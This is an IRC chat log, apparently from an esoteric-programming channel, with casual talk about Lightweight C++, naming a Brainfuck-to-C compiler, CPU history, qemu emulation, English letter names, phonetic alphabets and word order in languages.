obscure, probably not maintained to well, and you could just use the parts of C++ it has in C++ and ignore the rest 18:18:45 http://students.ceid.upatras.gr/~sxanth/lwc/bot.png 18:18:49 I'm saying that "Lightweight C++" is possible. Just that on any larger open source project that will sooner or later turn into messy C++. A few years at most before the mess start showing up. 18:18:49 ehird: It has somewhat different semantics. 18:18:50 ViRtUaLLity? 18:18:53 srsly. 18:19:02 AnMaster: lightweight c++ is a separate project. 18:19:10 Since it's mostly implemented as a preprocessor. 18:19:12 and you're talking absolute bullshit 18:19:16 (very complex one, but still) 18:19:17 you can only get bad code if you use bad features 18:19:22 ehird, oh thought it meant just C++ with less features. It was not easy to see that. 18:19:24 you only use bad features if you're a bad programmer 18:19:38 but sure if the implementation of C++ that you use lacks the bad stuff you can prevent it 18:19:39 wait what, _i_ made ZiziQue a link? 18:19:40 There are no bad features, only bad programmers. 18:19:42 there is not some inherent property of s/gcc/g++/ that causes the code to start to decay into suckiness 18:19:43 * oerjan is confused 18:19:49 saying so is simply stupid 18:19:52 So it has slightly screwy name mangling. 18:20:25 ehird, http://students.ceid.upatras.gr/~sxanth/lwc/bot.png <-- ugh. GCC specfic :P 18:20:55 GregorR: What if I make a feature to instantly delete the BIOS and it only can be used in a WHILE loop? 18:20:56 http://en.wikipedia.org/wiki/File:KL_AMD_5x86.jpg ← lol@printing designed for windows 95 on an actual cpu 18:21:27 fixed non-cruft link: http://upload.wikimedia.org/wikipedia/commons/e/ef/KL_AMD_5x86.jpg 18:21:30 ;P 18:21:30 asiekierka: Somebody out there NEEDS that feature maaaaaaaaaaaaaan :P 18:21:45 GregorR: Oh, and it can't be used by virus authors. Or hackers. 18:21:53 AnMaster: What about that is GCC-specific? 18:22:02 asiekierka: Those are bad programmers :P 18:22:04 pikhq, __attribute__ 18:22:06 duh 18:22:09 And to use it you need to run it on your own PC. 18:22:18 Oh, sure enough. 18:22:20 Didn't see that. 18:22:23 pikhq, it is using it to put some functions in link once sections 18:22:32 Is it still a GOOD feature 18:22:57 Oh. *God*. 18:23:03 pikhq, what? 18:23:05 That is such an ugly hack. 18:23:09 well yes 18:23:17 Lightweight C++: C++ without the bad parts and with bad parts 18:23:17 Using the __section__ attribute... 18:23:20 Sounds *awesome*. 18:23:23 pikhq, worse than dynamic scope return thing in bash? 18:23:24 ;P 18:23:29 No. 18:23:32 meh 18:23:38 ehird: That's the hackishness of the generated code. 18:23:48 so, any good naming suggestions for that project. I didn't like asiekierka's suggestion 18:23:55 suggestions* 18:24:07 It basically wants to be a GCC frontend, but does C code instead of RTL. 18:24:12 so, if I make a bf-to-C compiler, coded in scheme (basic optimization, but not the fancy stuff probably), what should I call it? 18:24:19 (in case you missed it) 18:24:29 SCFBTC maybe 18:24:33 AnMaster: thiscodeisboundtobehorriblescheme 18:24:34 or SBF2C 18:24:48 Sc-BF2C 18:24:52 ehird, rejected :P 18:24:54 Not PFUCK. 18:24:59 perfect 18:25:02 AnMaster: call it "Not PFUCK." 18:25:05 with the . 18:25:08 um 18:25:11 :D\ 18:25:11 maybe 18:25:13 ~/src/Not PFUCK..scm 18:25:14 rationale! 18:25:16 :P 18:25:26 And it is, in fact, not PFUCK. 18:25:28 PFUCK is pikhq's brainfuck→c compiler written in PEBBLE 18:25:29 Accurate name. 18:25:36 pikhq didn't want you to call it PFUCK 18:25:36 ah nice 18:25:37 hm 18:25:47 So you should call it "Not PFUCK.". Verbatim. :-P 18:25:47 Did anyone make a BF-to-C compiler in BF 18:25:47 even better: SFUCK 18:25:54 SUCKFUCK 18:25:55 that is a pun on S-expressions even 18:25:56 ... 18:26:03 Scheme's Fucked Up Compiler, Kay? 18:26:04 if you move the - 18:26:04 Hey, it's not my fault you're dirty. 18:26:10 asiekierka: Yes. 18:26:22 pikhq, S-expressions (but move - two forward) and then SFUCK 18:26:25 PFUCK: PEBBLE Fucking Up Crappy Kode. 18:26:26 it is perfect 18:26:27 what about Deadfish-to-BF in BF 18:26:45 I wrote mine in PEBBLE instead, just because I was lazy.... 18:26:55 (PEBBLE, of course, compiles to Brainfuck) 18:26:58 so no one is going to say that pun was brilliant? 18:26:59 :( 18:27:15 it isn't a pun 18:27:30 ehird, post-pun then I guess. 18:28:01 i wish it was the 90s. and we had Pentiums. With MMX and 3DNow!. 18:28:08 um 18:28:24 hmm 18:28:28 apart from the technicality that pentium never had 3dnow, why do you want that 18:28:28 pentiums never had 3DNow! 18:28:30 how disappointing 18:28:40 AnMaster: because everything was a lot simpler 18:28:50 I have a Pentium 100mhz 18:28:54 if you said "watercooling" to a computer user they'd think you meant filling the computer with tap water :-) 18:28:57 i doubt it has MMX 18:28:59 AMD had 3DNow! 18:29:07 pikhq, err 18:29:08 I love !s in names. 18:29:10 that should be: 18:29:15 3D-EBN-Now! 18:29:15 AMD had 3DNow!! 18:29:17 Protip: They're pronounced as the click. 18:29:26 because you are exclaiming it 18:29:27 In fact, AMD still *has* 3DNow; Intel never did. Whee. 18:29:29 So 3DNow! is 3DNow 18:29:43 AMD had 3DNow!! 18:29:43 Comments about the impossibility of pronouncing that will be gleefully ignored. 18:29:47 3DNow Enhanced! 18:29:50 hm 18:29:52 I remember that 18:29:56 HEY GUYS! 18:29:56 or was it Extended? 18:29:57 Wanna hear a joke? 18:30:03 Intel Itanium. 18:30:03 WTFBBQ, ZiziQue isn't even in the DB dump 18:30:03 I can pronounce it! 18:30:04 flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow rep_good pni lahf_lm 18:30:05 there 18:30:12 ↑↑lol at that 18:30:21 GregorR: Someone didn't really want ZiziQue 18:30:36 ehird, actually I64 is a rather interesting architecture. 18:30:42 *IA64 18:30:42 VLIW is cool 18:30:45 ehird, ah yes 18:31:00 the real joke is of course that "Itanium" is hard to remember how to spell 18:31:01 'taws ahead of its (and relevant compilers') time 18:31:09 so is Nehlam 18:31:11 or whatever it was 18:31:16 and it may have some good ideas, but all I've heard points to "slow, inefficient, not powerful enough, and ditching IA32 was stupid" 18:31:17 Nehalem. 18:31:20 which make perfect sense :P 18:31:24 and Nehalem is easy to spell 18:31:26 And Itanium is Titanium minus 'T' 18:31:29 6502 is the best architecture IN TEH WORLDZ!!!111ONE 18:31:31 easier if you're a native I guess 18:31:35 asiekierka: 4004 bitch 18:31:43 ehird: OISC! 18:31:50 The Intel i860 (also 80860) was a RISC microprocessor from Intel, first released in 1989. 18:31:56 Intel did RISC chips? :-D 18:31:57 ehird: Well, the problem is that it had the potential to be ultrafast, but not with anything real compilers could make. 18:32:03 GregorR: Yar :P 18:32:08 ehird: Intel did ARM for a while :P 18:32:12 Yeah, I knew that 18:32:15 But this was custom 18:32:31 Damn, I really want to find ZiziQue now X-P 18:32:47 GregorR: I know where ZiziQue is... 18:32:47 DID YOU KNOW: 18:32:56 ...It is in... 18:32:56 The Pentium name is used for a current-generation processor even today. 18:32:59 http://en.wikipedia.org/wiki/Pentium_Dual-Core 18:33:04 since 2006 18:33:09 Yeah, I know. 18:33:11 Which is weird. 18:33:11 ...Er... 18:33:15 ...There is no ZiziQue. 18:33:18 GregorR: Well, Pentium's never meant much. 18:33:34 The Intel i860 (also 80860) was a RISC microprocessor from Intel, first released in 1989. 18:33:35 Intel did RISC chips? :-D 18:33:37 Apart from "It's from Intel and you can put it in a desktop and it's based on IA32." 18:33:44 strange, I read about this just a few days ago 18:33:47 and went "huh" too 18:33:57 RISC: i860 · i960 · StrongARM · IXP1200 · XScale 18:33:58 sez wp 18:34:14 yes 18:34:20 xscale... hm sounds familar 18:34:21 none of which they still make 18:34:25 last one was sold in 2006 18:34:29 (xscale) 18:34:32 The XScale, a microprocessor core, is Marvell's (formerly Intel's) implementation of the fifth generation of the ARM architecture, and consists of several distinct families: IXP, IXC, IOP, PXA and CE (see more below). Intel sold the PXA family to Marvell Technology Group in June 2006[1]. 18:34:45 heh 18:34:50 Marvell, sounds like a network card? 18:34:54 http://en.wikipedia.org/wiki/IXP1200 I assume this isn't still made 18:35:03 I seriously don't understand why Intel sold ARM. 18:35:04 Marvell (NASDAQ: MRVL) is an American producer of storage, communications and consumer semiconductor products. Their products can be found in a range of applications: 18:35:05 Consumer: Technologies include Wireless LAN, Voice over IP (VoIP), system controllers, power management, storage products and embedded CPUs. 18:35:07 yup, sounds like a network card company 18:35:08 Enterprise: Marvell produces silicon devices for network switching, routers and wireless networking. Marvell was the first to develop merchant Gigabit Ethernet switching products. 18:35:11 Storage: Marvell designed the first Gigabit all-CMOS read channel, the first Gigabit-capable system-on-a-chip and the first Serial ATA interface. These products are found in both disk drive and network-attached storage systems. 18:35:14 and I think I even had one from Marvell back then 18:35:15 ARM isn't Intel's, GregorR 18:35:23 It was Acorn's. 18:35:24 ehird: It effectively was for quite a while. 18:35:28 Well, true./ 18:35:34 The StrongARM family are faster versions of the existing ARM processors with a somewhat different instruction set. Clocked at 206MHz they can perform up to 235 MIPS (1.14 MIPS/MHz). They have limited software compatibility with the earlier ARM families due to their separate caches for data and instructions, which causes self-modifying code to fail. 18:35:37 Harvard architechture :-D 18:35:43 *architecture 18:35:47 Hahvahd 18:35:55 Why didn't anyone do Hello World! in Genome 18:36:18 ehird, err, x86_(32|64) CPUs have that too nowdays 18:36:33 Harvard architechture for the caches I mean 18:36:37 Yeah it's not actually a Harvard architecture 18:36:38 had for ages 18:36:42 It just looks like it at first sight 18:36:50 * pikhq notes that Intel still makes Itanium chips 18:37:05 pikhq: If they don't, who will? :P 18:37:16 pikhq: They are used for e.g. scientific computing. 18:37:20 itanium is used in super computers and shit 18:37:21 GregorR: i am not quite convinced ehird remembers correctly that ZiziQue was ever on the wiki 18:37:31 oerjan: If it wasn't, it definitely existed 18:37:31 i may have linked it by error 18:37:33 difference is that x86 goes to great length to be compatible with previous versions. Thus it does support self modifying code by flushing the IL1 when the same part of memory is written to 18:37:34 oerjan: Idonno, I just found it interesting :P 18:37:35 IA64 is actually a decent architecture, amazingly enough. However, its x86_32 emulation *sucks*. 18:37:36 and it was definitely discussed 18:37:38 maybe in here 18:37:39 causing horrible performance 18:37:42 pikhq: it has none nowadays 18:37:44 pikhq: software emulation 18:37:50 pikhq: that is actually faster than the old hw one :^) 18:37:55 ehird: Hahah. 18:38:17 $ grep -i zizique * | wc -l 18:38:17 0 18:38:21 In logs not including today. 18:38:33 just stfu, okay :P 18:38:41 it may have been discussed on talk: pages 18:38:44 IA64 is awesome IMO. 18:38:57 ehird: I grepped the DB dump, it's only in that one page. 18:39:13 GregorR: Look. Just shut up. 18:39:24 ^^ 18:39:25 It was discussed, it had a site, it was for text adventures, and we knew about it. 18:39:27 That's all I know. 18:39:31 New language: HQ9+D 18:39:36 what's D 18:39:47 it is like HQ9+ but with D for "interpret rest of source as deadfish" 18:39:48 :D 18:39:59 Hrm; I thought this NAS box I had ran on some sort of XScale thing, but /proc/cpuinfo says 18:40:00 Processor : ARM926EJ-Sid(wb) rev 0 (v5l) 18:40:04 AnMaster: :D 18:40:14 Deadfish~, Deadfish~(subset) or Deadfish 18:40:27 asiekierka, which did I say 18:40:28 ... 18:40:34 deadfish~ is bloated. 18:40:39 So, this IA-32 software emulation layer... 18:40:43 fizzie: have you got a powerpc machine 18:40:46 i like powerpc 18:40:48 Why don't Linux distros just ship with qemu? 18:40:58 ehird: Just the G4 iBook. 18:41:07 fizzie: booooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooring 18:41:09 pikhq, eh? 18:41:13 pikhq: because it's slow as fuck 18:41:20 pikhq, there is certainly some package for it I bet. 18:41:26 for most distros 18:41:45 um duh 18:41:47 but what has it got to do with this 18:41:54 that's not what he said 18:42:24 The IA32 emulation layer is nonfree stuff... Which implies that Intel actually spent time and effort making it. 18:42:36 ehird, also what do you call bosch (sp?) if you call qemu "slow as fuck" 18:42:40 Rather than, say, modifying a few files from qemu. 18:42:50 "bochs" 18:42:51 AnMaster: *Bochs. Box. Ch as in Bach. Bochs. 18:42:53 -!- jix has quit (Read error: 60 (Operation timed out)). 18:42:58 AnMaster: And slow as fuck also. 18:43:01 bochs: would get parking fine if it was a car 18:43:03 pikhq: Because theirs is faster 18:43:09 pikhq: Take, for instance, icc. 18:43:09 get a* 18:43:17 Intel KNOW their architectures really well. 18:43:48 Fine; why didn't they do a decent-sized patch to qemu and get some good PR out of it? 18:44:01 Barely any PR. 18:44:07 And why would they? 18:44:17 It was probably easier to make it from scratch. 18:44:20 I bet it differs heavily. 18:44:27 For instance, it won't emulate hardware, will it? 18:44:37 Just translate the CPU instructions as directly and efficiently as possible. 18:44:40 Qemu doesn't always. 18:44:43 *ahem Qemu user mode emulation came first* 18:44:55 Qemu has user mode emulation as a major feature. ;) 18:44:59 hrm 18:45:01 Well, whatever. 18:45:06 Qemu has user emulation as its ORIGINAL feature :P 18:45:13 Heheh. 18:45:55 (Incidentally, it's bitchin' fast in that mode) 18:45:57 " Well, whatever." <-- you always say something like that when you are proven wrong. :D 18:46:09 No, that was "OK, I'm wrong, didn't know, whatever." 18:46:20 What's wrong with saying that? 18:46:24 ehird, what exactly does "whatever" mean in this context. 18:46:32 It means "whatever". 18:46:32 not clear to me as a non-native speaker 18:46:38 AnMaster: In English, "whatever" means just about anything in just about any context X-P 18:46:51 Agreed, native speakers? 18:46:53 GregorR, yes, and what exactly does it mean in this one 18:46:55 In this context, it probably means "ok, doesn't really matter, I just didn't know" 18:46:57 GregorR: yeah. 18:46:59 ah right 18:47:11 Yeah, I agree with ehird on that, that's how I interpreted it. 18:47:19 Anyway, qemu's user emulation is actually pretty darn cool. 18:47:25 i might try it 18:47:27 how'd you use it? 18:47:31 I have an ARM Debian chroot for "cross-compiling" :) 18:47:39 ehird: qemu- 18:47:52 ehird: You need the libraries installed to a path specifiable by -L, of course. 18:48:03 AnMaster: today's mezzacotta ain't so bad :D 18:48:14 "doesn't really matter", as in the "discussion not being important", or "that the new info doesn't really change my argument"? 18:48:17 * pikhq reinstalls qemu 18:48:18 [ehird:/Applications/Q.app/Contents/MacOS/mips-softmmu.app/Contents/MacOS] % ls 18:48:18 mips-softmmu 18:48:20 GregorR: that? 18:48:30 AnMaster: "Not a big deal". 18:48:38 ehird: Oh, AFAIK user emulation doesn't work on OS X :P 18:48:40 Ah, right. You've got OS X. 18:48:42 Lawl. 18:48:43 hm ok 18:49:05 GregorR: It does; the DarWINE project did most of the work for that. 18:49:24 pikhq, ehird: Ah, OK, but it presumably only supports powerpc and x86 (maybe x86_64) 18:49:29 pikhq: that's for ppc 18:49:33 Whereas on Linux it supports OMGLOTS 18:49:33 DarWINE... what a horrible pun 18:49:46 Old Darwine was just x86 emulation + WINE. 18:49:47 ehird: Well, it requires that the target support the same OS so it can directly translate syscalls :P 18:49:50 Modern Darwine is just WINE ported over. 18:49:55 AnMaster: today's mezzacotta ain't so bad :D <-- IDGI 18:49:59 I'm on an IA32/AMD64 machine. 18:50:11 Darwine was qemu userspace emulation + WINE. 18:50:22 Tha's wha I sai. 18:50:26 yes but ehird 18:50:31 Oh no, not psygnisfive. 18:50:36 Thus why Darwine's work on qemu matters. :p 18:50:38 if Darwine is just WINE ported over 18:50:43 which is it when PORT is wined over? 18:50:49 AnMaster: the D&Der's response fits 18:51:00 psygnisfive: ur no' fu'y 18:51:05 and seems sarcastic 18:51:07 oerjan, true 18:51:08 oerjan: Adding v5 with "COMPATIBILITY MODE" and "PROPER MODE" 18:51:15 you should know which is what xD 18:51:23 Man, mi'ing con'o'ans i' fu'. 18:51:42 fu'y? 18:51:49 fu n n y 18:51:51 fu'y 18:51:54 yes i get that 18:51:55 but 18:52:14 using stars is more fun. 18:52:20 makes it look like cursing. 18:52:23 more fu'? 18:52:30 more fu* 18:52:34 Nah, I 'on' 'in' 'o. 18:52:49 "non nin no"? 18:52:54 wut 18:52:55 Nah, I don't think so. 18:52:56 you're missing a k there, ehird 18:53:02 er 18:53:03 an h 18:53:05 D: 18:53:06 ehird, you removed too much for it to be readable there 18:53:29 I' no' my faul'. I 'an' 'elp i'. 18:53:30 "an h"... That sounds so strange. 18:53:49 why, anmaster? 18:53:54 It is incorrect. 18:53:56 But note the 's. 18:54:08 what? 18:54:11 what is incorrect 18:54:23 An h. 18:54:26 no its not 18:54:37 I know some idiotic americans think it's not, but that's because you fail at pronunciation and life. 18:54:48 actually ehird its you who fail at pronunciation and life 18:55:03 the "an" allomorph of "a" is used before words that start with a vowel sound 18:55:22 the name for "h" beings with an /eI/ diphthong vowel 18:55:35 psygnisfive, how would you spell (no IPA stuff! Just normal letters.) the way the letter "h" is pronounced. "eigcht" seems a bit off. 18:55:52 "aitch" is the conventional spelling, I believe 18:55:56 I see 18:56:08 in Swedish it is said more like "hå". 18:56:21 tho english letters have no genuine conventional name spelling 18:56:33 I always found the way that English pronounce the _letters_ "h" and "r" rather odd. 18:56:37 heightch. 18:56:41 heigch. 18:56:42 heigtch. 18:56:58 Yay, V5 uploaded, with the Compatibility Mode (that's for you, oerjan) 18:56:59 you cant pronounce letters 18:56:59 'aitch' is a stupid way of saying h BECAUSE IT HAS NO H 18:57:01 letters are symbols 18:57:08 its like saying you pronounce a tree. 18:57:19 ehird: aitch 18:57:22 i pronounce trees. 18:57:29 no, you dont. :P 18:57:33 psygnisfive, so say out loud all the letters of the alphabet! 18:57:43 what did you do, if you didn't pronounce them. 18:57:49 you cant 18:57:57 "Pronunciation /heɪtʃ/ and hence a spelling of haitch is usually considered to be h-adding and hence nonstandard. It is however standard in Hiberno-English[citation needed] --"; Hiberno-English sounds strange. For people who hibernate? 18:58:03 letters of alphabets are used to represent the pronunciation or words and sounds in a language 18:58:04 you just admitted " "aitch" is the conventional spelling, I believe" above 18:58:15 you can pronounce a SOUND in a language, sure. 18:58:19 oh my 18:58:22 Hiberno-English - Wikipedia, the free encyclopedia 18:58:23 Hiberno-English – also known as Anglo-Irish and Irish English – is English as spoken in Ireland, partly the result of the interaction of the English and ... 18:58:27 now we got him started. 18:58:37 yes, anmaster, "aitch" is the spelling of the name for the letter "h" 18:58:41 http://www.eamonn.com/2002/11/hibernoenglish.htm 18:58:41 as i said above :P 18:59:02 fizzie: irish english. 18:59:07 I wish there were drivers for RTL8168/8111 (PCI-E) for MS-DOS 18:59:16 psygnisfive, and that is what pronouncing the letter means to a non-language-nerd 18:59:21 so I could run 64HDD on my PC and make a netcat clone for the C64 18:59:21 :P 18:59:22 Why is it called that, though? 18:59:32 hibernia. 18:59:39 anmaster: well in that case, ok. 18:59:56 "aitch" is probably closely related to the italian "acca" for the same letter. 19:00:14 "ar(r)" ?? similar to "erre" 19:00:34 The Gaelic phrase tar eis, which means "after", is used by Hiberno-English speakers to modify verbs to indicate that an activity has been completed recently. So, instead of using the standard English present perfect " We have just finished our dinner," Hiberno-English speakers opt for: "We're after finishing our dinner just now." 19:00:43 Weird butts. 19:01:01 sounds very hiberno indeed. 19:01:10 very much an influence from Irish. 19:01:26 a be se de e ef ge hå i ji kå ell em en o pe ku err ess te u ve eks y säta å ä ö 19:01:49 (aprox.) 19:02:00 why is the english name for "r" weird to you? 19:02:08 -!- oerjan has quit ("ay bee cee dee ee eff gee aitch eye jay kay el em en oh pee queue are ess tee you vee double-you ecks why zed"). 19:02:24 psygnisfive, that is ~"are". Which is rather different 19:02:31 it's why and zee, dammit 19:02:34 the rhyme only works that way 19:02:38 yes, it's zed 19:02:42 but in the song we turn amerikan 19:02:55 in Swedish y is a vowel. 19:03:05 "are" and "err" arent all that different. 19:03:20 psygnisfive, not if you pronounce "err" in English no 19:03:24 i mean, swedish r's are different, granted 19:03:25 but try saying it in Swedish 19:03:43 but that's a fact about the consonant not the name of the letter 19:03:47 that is a short e too. While are has a long a 19:03:54 this is true 19:04:03 /ɹ/ versus /r/ 19:04:07 /er/ vs /A:r\/ 19:04:20 why did you escape that last / 19:04:21 ... 19:04:21 Bah, I don't speak SAMPA 19:04:29 its not escaped 19:04:32 yes it is 19:04:37 AnMaster: r\ is SAMPA for ɹ 19:04:39 ah 19:04:41 yes. 19:04:56 to me it looks like an escaped / from a sed expression :P 19:05:01 yeah i know. 19:05:13 SAMPA is annoying but convenient 19:05:24 i would just use IPA but half the time people bitch that it doesnt show up 19:05:26 How many IPA symbols are there? 19:05:30 uh 19:05:34 like a hundred or so i think? 19:05:35 too many? 19:05:46 Ah, Wikipedia knows 19:05:49 ignoring the diacritics and modifiers i guess 19:05:51 7 distinct letters, 52 diacritics, and 4 prosody marks 19:05:53 Err 19:05:54 107* 19:06:03 52 diacritics? no, cant be 19:06:07 i would just use IPA but half the time people bitch that it doesnt show up <-- As long as it shows up in Dejavu I'm happy 19:06:21 I think Dejavu has all of IPA but I'm not sure 19:06:27 The Unicode "IPA Extensions" page has 176 symbols. 19:06:39 heh 19:07:06 i only count 32 diacritics on the IPA wiki page 19:07:08 It probably includes composed forms 19:07:25 i guess if you include the ExtIPA additions 19:07:42 U+0250 .. U+02AF. 19:07:52 yeah, ExtIPA brings it to 52 19:07:57 on a totally unrelated line of thought. What exactly does the English "blowing a raspberry" (spelling?) mean? 19:08:25 put your tongue between your lips 19:08:32 purse your lips so airflow is slightly restricted 19:08:36 blow 19:08:46 I'd encourage you to use IPA, but urxvt and I don't get along. 19:08:50 psygnisfive, resulting in a s-like sound? 19:08:54 no 19:09:03 in more of a farting sound 19:09:06 press your lips tighter. 19:09:18 thats sort of it. 19:09:35 is the tounge sticking out? How far? 19:09:40 far enough! 19:09:53 tho i think in the context of /giving/ a raspberry its much tighter, enough so that it could be tickling when done against skin 19:10:07 http://www.youtube.com/results?search_type=&search_query=blowing+a+raspberry&aq=f 19:10:19 psygnisfive, it sounds like a leaking tube with pressurised air... 19:10:24 brb phone 19:10:27 PRESS HARDER 19:10:31 :-P 19:10:37 deewiant 19:10:48 remind me why you know _SAMPA and IPA 19:11:02 I know some IPA because I'm interested 19:11:04 I don't know SAMPA 19:11:13 ah so you were guessing from what i wrote 19:11:21 i wish more people were smart enough to do that 19:11:28 Yeah, I assumed we both got it right :-P 19:11:51 And yes, I wish people were as smart as me as well 19:11:55 i know so many people who cant make such trivial pieces of guesswork :( 19:12:33 a professor can state something emphatically, and then go on to make a minor mistake that is obviously just a typographical error 19:12:46 but the people get all flustered like "BUT I THOUGHT YOU SAID ~" 19:12:55 That annoys me to no end 19:13:08 i want to strangle those people 19:13:09 Then they make a big deal about it and are all confused and 10 minutes are lost 19:13:14 EXACTLY 19:13:15 omg 19:13:21 jos difj sof jio eo ijojt oertj eoirjt ort joer tjoerij eojt oetj oON ON ON 19:13:22 my whole italian class is like that 19:13:29 ON ON ON 19:13:33 And I'm like FFS it should have been an 'a' instead of an 'e' and that's it 19:13:35 ehird, stop speaking dutch. 19:13:49 psygnisfive: oadijasjuueu! drukkeuekńak! 19:14:00 now you're speaking hungarian! :| 19:14:02 i wonder wtf ń is 19:14:11 Doesn't sound at all Hungarian to me :-P 19:14:13 n-acute 19:14:14 duh 19:14:24 deewiant: it has the impression of it tho 19:14:31 Soon he'll be speaking Afrikaans. ... With an American accent. 19:14:39 k, weird n's, and lots of e+u stuff feels hungarian to me 19:14:39 Ew 19:14:47 afrikaans with an american accent? 19:14:50 sounds like english to me. 19:14:51 K doesn't feel Hungarian to me 19:15:00 Maybe it should, but it doesn't :-P 19:15:05 psygnisfive: No, it wouldn't. 19:15:26 "kétszikű" 19:15:29 Though it'd be somewhat close; Afrikaans *is* Germanic. 19:15:35 -!- FireyFly has joined. 19:15:42 afrikaans is a descendent of early modern dutch 19:15:48 * pikhq nods 19:15:55 dutch itself sounds practically english 19:16:01 ESPECIALLY prosodically 19:16:16 No it doesn't. 19:16:21 * pikhq likes being contrary 19:16:25 :P 19:16:34 and west frisian, forget it 19:16:37 ńuerkatéçsø 19:16:43 That sounds Aztec 19:16:45 Anyone wants to see 9 lines of DEAD64V5's code? 19:16:55 there is no such thing as aztec. 19:17:08 I thought not 19:17:08 there is nahuatl 19:17:14 But couldn't remember the name 19:17:17 but nothing here looks remotely like nahuatl 19:17:27 psygnisfive: Yecatuanłã. 19:17:33 -!- jix has joined. 19:17:35 until now. 19:17:37 (that's a ~ not a ") 19:17:43 yes i can tell 19:17:45 15 GOTO 21 19:17:45 16 INPUT A$ 19:17:45 17 IF IG=1 AND A$=")" THEN IG=0 19:17:45 18 IF IG=1 THEN GOTO 22 19:17:45 19 GOTO 21 19:17:46 :P 19:17:46 20 GOTO 10 19:17:54 is this an example of the messyness of DEAD64V5 19:17:55 i know how to pronounce that, too. :D 19:18:07 or i imagine i do, if l~ is what i expect it to be. 19:18:18 Give me random numbers from 1 to 230 and I'll show code for that line 19:18:18 psygnisfive: Łā! Brokélõs! 19:18:19 if there is 19:18:35 now THAT could almost be welsh, were it not for orthography 19:18:36 I've been meaning to train myself to be able to pronounce every sound in IPA but haven't got around to it 19:18:47 Deewiant: sounds impossible 19:18:52 Lla brwcylons 19:18:57 .. cylons! D: 19:19:02 :-D 19:19:06 :D 19:19:13 ehird: Maybe, I don't think so 19:19:16 psygnisfive: Vŏktük palél :-) 19:19:29 i dont speak volapük. 19:19:38 wasn't meant to be volapük :P 19:19:41 deewiant: its hard to learn from the interwebs 19:19:49 i know ehird, but thats what came to mind :p 19:20:01 yeah me too 19:20:40 ok so 19:20:48 psygnisfive: Combination of IPA-capable dictionary + youtube goes a long way, methinks :-) 19:20:49 i figure we have programming versions of SVO languages 19:20:53 and SOV languages 19:20:57 and VSO languages 19:21:05 SVO: Smalltalk. 19:21:08 well, O*V and VO* 19:21:09 SOV: Stack-based. 19:21:12 VSO: Procedural. 19:21:16 SVO is just object oriented 19:21:20 True. 19:21:23 SOV is forth, yah 19:21:27 VSO is lisp 19:21:32 SVO: OOP. SOV: Concatenative. VSO: Procedural. 19:21:36 Use paradigms. 19:21:42 VSO is also functional. 19:21:43 VSO: functional 19:21:46 True. 19:21:50 SVO: OOP. SOV: Concatenative. VSO: Procedural/functional. 19:21:54 More canonically functional, IMO. 19:21:54 SVO is sort of procedural 19:22:00 i wish more people were smart enough to do that <-- Smart? So never having heard the word "sampa" before means someone is stupid? 19:22:08 AnMaster: that's not what he said 19:22:10 given the wealth of Var OP Exp stuff 19:22:13 maybe you should learn to read, AnMaster 19:22:14 So what, are we missing OSV OVS VOS? 19:22:16 ehird, it seemed to be what he said. 19:22:30 yes indeed deewiant 19:22:30 AnMaster: Congrats! I bestow unto you the "cannot read or comprehend" award, then. 19:22:40 Deewiant: I think S and O are interchangable. 19:22:41 psygnisfive: Do we have natural languages like that? 19:22:44 It's down to the programmer, mostly. 19:22:51 Although... OVS would be weird. 19:22:52 To an extent, yes. 19:22:54 yes, we do. they are RARE tho 19:22:58 oranges.eat(sam). 19:23:02 That's just not good for a programming language. 19:23:07 Even if it can be made to work naturally. 19:23:13 oranges.getEatenBy(sam) 19:23:16 the use of Subjects is mostly applicable in OO style tho 19:23:18 It doesn't reflect the operations performed at all. 19:23:20 Deewiant: Well sure. 19:23:23 actually no, deewiant 19:23:26 that wouldnt be it at all 19:23:38 that would be merely a passivized version 19:23:44 where oranges ARE the subject 19:23:49 OVS would look more like... 19:23:50 yeah 19:23:54 (oranges)eat.sam 19:23:58 :-D 19:24:02 (oranges,hungrily)eat.sam 19:24:06 Oranges hungrily eat Sam. 19:24:25 and since its horrible for a programming language 19:24:27 clearly 19:24:29 it must be done. 19:24:30 Wasn't Klingon OVS? 19:24:33 yes 19:24:34 OVS? 19:24:43 the intention was to make it as un-english like as possible 19:24:56 Yeah, it's OVS. 19:24:56 Open Versioning System? 19:25:09 ... 19:25:10 Object Verb Subject 19:25:11 interestingly, the notion of Object and Subject are, I would say, completely meaningless 19:25:13 aha 19:25:16 psygnisfive: agreed 19:25:17 psygnisfive: The intention was to make it as alien as possible, rather. Slight difference. 19:25:20 psygnisfive: It's very single dispatch. 19:25:26 psygnisfive: Yeah, that's what ehird was going on about earlier 19:25:33 well, not so much that, ehird 19:25:51 its just that in the underlying semantics theres no difference 19:26:05 i mean 19:26:12 normally people think of sentences as being Subject-Predicate 19:26:15 P(S) 19:26:21 but thats only sort of true 19:26:25 -!- tombom has quit ("Peace and Protection 4.22.2"). 19:26:32 psygnisfive: Lojban is interesting here. It thinks directly in predicates. 19:26:49 * pikhq wants VSO, OSV, and: V, S, and O languages 19:26:55 because in formal semantics, P can be a lambda 19:27:12 which means it can be like multi-arg functions 19:27:20 VSO... Eat Sam oranges. 19:27:27 P(S) === (P'(R))S 19:27:28 OSV... oranges Sam eat. 19:27:29 or whatever 19:27:33 Functional, concatenative. 19:28:08 eat(sam, oranges) 19:28:09 we need an OO language with a weird ordering like this 19:28:13 psygnisfive: Heh. So a strong type system + language is logic (curry-howard), and linguistics is programming (you). 19:28:17 Therefore, linguistics is logic. 19:28:26 (oranges)sam.eat 19:28:27 I'd demand an SOV language, but there is one. 19:28:27 o.O 19:28:44 ehird: well, some of linguistics is very closely related to logic 19:28:59 Curry and Howard did their work FOR linguistic semantics, essentially 19:29:00 psygnisfive: Yeah, but we have a whole trifecta of equivalences: Programming = logic = linguistics. :-) 19:29:01 Sam oranges eat. 19:29:03 Actually, why did I even ask about natural languages, Finnish can do all of SOV SVO VSO VOS OSV OVS, with the non-Vxx ones probably being the most normal-sounding ones. 19:29:06 Which is sweet. 19:29:06 -!- FireFly has quit (Read error: 110 (Connection timed out)). 19:29:12 Deewiant: so can russian 19:29:13 (Samu ha orenji wo taberu) 19:29:19 wa* 19:29:24 -!- FireyFly has changed nick to FireFly. 19:29:32 Deewiant: So can English. 19:29:41 english can do a lot of them 19:29:41 pikhq: Oranges Sam eat? 19:29:46 eats* 19:29:51 which is valid english 19:29:57 Is it? 19:29:59 however, its a topicalization structure 19:30:02 Yes, 